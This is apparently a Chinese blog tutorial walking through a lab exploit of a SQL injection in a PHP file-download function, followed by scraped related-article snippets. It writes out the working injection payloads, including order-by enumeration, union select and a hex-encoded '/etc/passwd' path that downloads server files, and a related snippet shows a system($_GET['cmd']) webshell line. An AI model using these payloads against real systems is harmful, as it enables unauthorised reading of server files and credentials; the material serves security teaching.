写在前面的话

SQL注入可以称得上是最臭名昭著的安全漏洞了,而SQL注入漏洞也已经给整个网络世界造成了巨大的破坏。针对SQL漏洞,研究人员也已经开发出了多种不同的利用技术来实施攻击,包括非法访问存储在远程数据库中的数据、从服务器读/写数据、以及通过MSSQL的SA账号完成任意命令执行等等。

在这篇文章中,我们准备利用一个存在于文件下载函数中的SQL注入漏洞,我们将利用存在漏洞的SQL语句并从远程服务器中下载我们所需要的文件。假设现在有一个由用户提供的参数,我们可以将这个参数添加到SQL查询语句之中,当SQL语句处理完这个参数之后,查询语句将会返回我们目标文件的地址。现在,如果我们将这条SQL查询语句返回的文件地址提供给文件下载函数的话,我们就可以下载服务器中的本地文件了。在这种情况下,如果Web应用没有对用户的输入进行检测的话,攻击者就可以在知道文件地址的情况下通过构造SQL语句来下载任意文件了,不过这个文件必须要有可读权限才行。

所以在这篇文章中,我将会给大家讲解这个SQL注入漏洞。实际上,这个漏洞是PHP文件下载函数中的一个本地文件泄露漏洞,我们所使用的Web应用后端为MySQL数据库。

实验环境

为了演示漏洞的利用过程,我们需要在设备上完成以下配置:

1.Web服务器(我用的是Apache);

2.PHP环境

3.MySQL数据库

4.包含漏洞的Web应用样本,你可以从我的GitHub上下载【下载地址】。

下载样本代码,然后用以下信息创建一个MySQL用户:

Username=dsqli

Password=icadsqli

And database name = dsqli

为了创建数据库,用户必须要有数据库的读权限,请大家按照下面的步骤进行操作。

首先以root账号登录MySQL的终端控制台,然后用下面的语句创建一个新的数据库:

Create database dsqli;

然后创建新用户“dsqli”,密码为“icadsqli”,并赋予数据库dsqli的读/写权限:

grant all on dsqli.* to dsqli@localhostIDENTIFIED BY 'icadsqli';

当你设置好了数据库和用户账号之后,直接将据库文件dsqli.sql导入到dsqli数据库中。导入成功之后,数据库中将会出现一个表:

i) Download (列名为id、image_name、location)

漏洞分析

我们给出的漏洞利用技术只有当SQL查询语句的返回值会传递给目标Web应用的文件下载函数时才能奏效,我们的样本代码中存在SQL注入漏洞,而SQl查询语句返回的数据会被传递给PHP的文件下载函数file_download()。

我们可以从上面这段代码中看到,如果我们可以想办法修改查询语句,然后让SQL查询语句将服务器本地文件或Web应用源码文件的地址保存在$row[‘location’]变量之中,那么file_download()函数将会帮我们把这个文件下载下来。实际上,我们只需要在SQL查询中使用UNION就可以轻松实现注入,在注入的过程中,我们需要提供目标文件完整的本地路径,然后再以十六进制格式下载该文件。

漏洞利用

1.  通过SQL注入获取服务器本地文件

首先,我们要确定目标Web应用是否存在基于整型的SQL注入漏洞或基于字符串的SQL注入漏洞。确定之后,我们还要确定SQL语句所查询的表中有多少列。

在我们给出的样本中,Web应用存在基于整型的SQL注入漏洞。

确定表中有多少列:

首先我们要知道,如果查询语句正确执行并给出了输出结果,我们将会看到弹出的文件下载窗口。那么为了确定表中列的数量,我们需要注入order by子句并不断增加order by的值,直到Web应用停止弹出下载窗口为止。

样本Web应用的index.php中存在SQL注入漏洞,index.php页面中的文件下载请求参数如下:

image=1&image_download=Download

现在,我们可以尝试用order by字句枚举出列数量。

Page Index.php

Post parameters

image=1 order by 1--&image_download=Download

现在,向语句中注入参数‘order by 5–’

Page index.php

Post parameters

image=1 order by 5--&image_download=Download

当我们将order by字句的值从1增加到5之后,Web应用就不会再弹出下载窗口了,所以select语句所使用的列值肯定是小于5的。接下来我们试一下‘order by 4’:

Page index.php

Post parameters

image=1 order by 4--&image_download=Download

从上图中可以看到,我们刚才的语句导致页面出现了错误,接下来尝试一下‘order by 3’:

Page index.php

Post parameters

image=1 order by 3--&image_download=Download

这一次Web页面终于弹出了文件下载窗口,所以这个表的列数量为3。现在我们可以尝试用UNION语句完成注入了。注入后的请求如下:

Page index.php

Post parameters

image=1 union select 1,2,3--&image_download=Download

这条注入请求同样会让页面弹出文件下载窗口。

确定用于文件下载的列:

现在既然我们已经确定了表中的列数量,接下来我们就要找到那个允许我们定义文件路径的列。我们需要将文件路径的十六进制依次填入语句的列编号之中,直到我们找到了目标列为止。

接下来,我们可以尝试下载/etc/passwd文件。首先我们需要将字符串‘/etc/passwd’转换为十六进制格式(我使用的是Firefox的hex bar插件),然后在字符串前面加上一个‘0x’。我们现在还不能确定Web应用到底是用数据库表中的哪一列来获取文件路径的,所以我们先用‘/etc/passwd’的十六进制值替换union select语句中的‘1’,具体如下图所示:

修改之前的查询语句如下:

Page index.php

Post parameters

image=1 union select 1,2,3--&image_download=Download

修改之后的查询语句如下:

Page index.php

Post parameters

image=1 union select 1,2,3--&image_download=Download

我们需要将包含漏洞的参数值修改为一个无效值,这样一来,当原本的查询语句跟我们注入的查询子句一起执行时,原本的查询语句将不会返回任何内容,而我们注入的查询语句将会返回我们想要的结果。如果我们没有进行这样的修改,那么页面执行的仍然是原本合法的文件下载请求。修改之后的查询语句如下(修改了image的值):

Page index.php

Post parameters

image=1337 union select 1,2,3--&image_download=Download

好的,如果我们注入的是能够将文件地址返回给文件下载函数的列,那么Web应用将会帮我们下载/etc/passwd文件。

不幸的是,Web应用弹出了错误信息,这意味着我们选错了一个列。接下来用第二列试一下。修改后的请求如下:

Page index.php

Post parameters

image=1337 union select 1,0x2f6574632f706173737764,3-- &image_download=Download

还是没有成功,那么第三列应该没问题了吧?修改后的请求如下:

Page index.php

Post parameters

image=1337 union select 1,2,0x2f6574632f706173737764-- &image_download=Download

果不其然,这一次终于成功了,我们成功将Web应用的passwd文件下载了下来。当然了,如果我们能够直到Web应用的文件结构或路径,我们甚至还可以下载Web应用的源代码。对于PHP项目来说,我们可以通过修改参数类型来获取Web应用的本地目录结构。在我们的实验环境中,原始的请求如下:

image=1&image_download=Download

将‘image’参数修改为数组类型之后,请求如下:

image[]=1&image_download=Download

现在,我们就知道了服务器的本地目录结构了,我们只需要将文件路径的十六进制值填入查询语句的列编号之中就可以下载任意文件了。如果你对SQL注入漏洞感兴趣的话,可以亲自动手搭建环境并进行测试,相信你肯定会在这个过程中收获不少的东西。

如何通过SQL注入获取服务器本地文件的更多相关文章

  1. SQL Server 获取服务器信息

    最近做了一个小工具,里面涉及到一些取SQL Server 服务器信息的一些东西,找了好久,找到一个不错的,贴出来分享. 系统函数 SERVERPROPERTY ( propertyname ) 包含要 ...

  2. flink on yarn 用户代码获取keytab本地文件和principal的方法

    flink on yarn的情况下配置的keytab文件会根据每次yarn application 分配taskmanager的变化都是不一样的,在部分场景下用户代码也需要获得keytab文件在yar ...

  3. Asp.net 获取服务器指定文件夹目录文件,并提供下载

    string dirPath = HttpContext.Current.Server.MapPath("uploads/"); if (Directory.Exists(dirP ...

  4. .net core获取服务器本地IP及Request访问端口

    string str = (Request.HttpContext.Connection.LocalIpAddress.MapToIPv4().ToString() + ":" + ...

  5. SQL Server ->> 获取服务器名字和SQL SERVER实例名的几种函数

    SELECT @@SERVERNAME as [@@SERVERNAME], SERVERPROPERTY('MachineName') MachineName, SERVERPROPERTY('In ...

  6. SQL注入获取Sa账号密码

    漏洞位置:http://168.1.1.81/Information/Search?Keyword=1111 漏洞利用: MSSQL 2000 http://168.1.1.81/Informatio ...

  7. 初探SQL注入

    1.1注入语句(通过时间注入函数) 数据库名称 localhost:8080/ScriptTest/userServlet?username='union SELECT IF(SUBSTRING(cu ...

  8. SQL SERVER获取数据库文件信息

        MS SQL SERVER 获取当前数据库文件等信息,适用于多个版本: SELECT dbf.file_id AS FileID , dbf.name AS [FileName] , s.fi ...

  9. web安全:sql 注入

    sql注入获取webshell寻找sql注入页面,操作数据库的地方向网站写入sql语句' union select 1,2, '<?php system($_GET["cmd" ...

随机推荐

  1. linux运维中常用的指令

    一.终端中常用的快捷键 man界面中的快捷键: ?keyword                 向上搜索关键词keyword,n向下搜索,N继续向上搜索 /keyword   向下搜索关键词keyw ...

  2. Redis数据库(二)

    1. Redis数据库持久化 redis提供了两种数据备份方式,一种是RDB,另外一种是AOF,以下将详细介绍这两种备份策略. 面试: 1.1  配置文件详解备份方式 [root@localhost ...

  3. Centos6.9 搭建rsync服务端与客户端 案例:全网备份项目

    rsync的企业工作场景说明 1)定时备份 1.1生产场景集群架构服务器备份方案项目 借助cron+rsync把所有客户服务器数据同步到备份服务器 2)实时复制 本地数据传输模式(local-only ...

  4. 如何利用 CSS 动画原理,在页面上表现日蚀现象

    效果预览 在线演示 按下右侧的"点击预览"按钮可以在当前页面预览,点击链接可以全屏预览. https://codepen.io/comehope/pen/OELvrK 可交互视频教 ...

  5. 条款37:绝不重新定义继承而来的缺省参数值(Never redefine a function's inherited default parameter value)

    NOTE: 1.绝不重新定义一个继承而来的缺省参数值,因为缺省参数值都是静态绑定的,而virtual 函数-----你唯一应该覆盖的东西----却是动态绑定的.

  6. 剑指Offer(书):二叉树的镜像

    题目:操作给定的二叉树,将其变换为源二叉树的镜像. public void Mirror(TreeNode root) { if (root == null) { return ; } if (roo ...

  7. POJ 1651 区间DP Multiplication Puzzle

    此题可以转化为最优矩阵链乘的形式,d(i, j)表示区间[i, j]所能得到的最小权值. 枚举最后一个拿走的数a[k],状态转移方程为d(i, j) = min{ d(i, k) + d(k, j) ...

  8. gitlab之gitlab-ci自动部署

    简介 gitlab-ci全称是gitlab continuous integration的意思,也就是持续集成.中心思想是当每一次push到gitlab的时候,都会触发一次脚本执行,然后脚本的内容包括 ...

  9. 九度oj 题目1140:八皇后

    题目描述: 会下国际象棋的人都很清楚:皇后可以在横.竖.斜线上不限步数地吃掉其他棋子.如何将8个皇后放在棋盘上(有8 * 8个方格),使它们谁也不能被吃掉!这就是著名的八皇后问题. 对于某个满足要求的 ...

  10. mac上安装ruby

    (转:http://www.cnblogs.com/daguo/p/4097263.html) 以下代码区域,带有 $ 打头的表示需要在控制台(终端)下面执行(不包括 $ 符号) 步骤0 - 安装系统 ...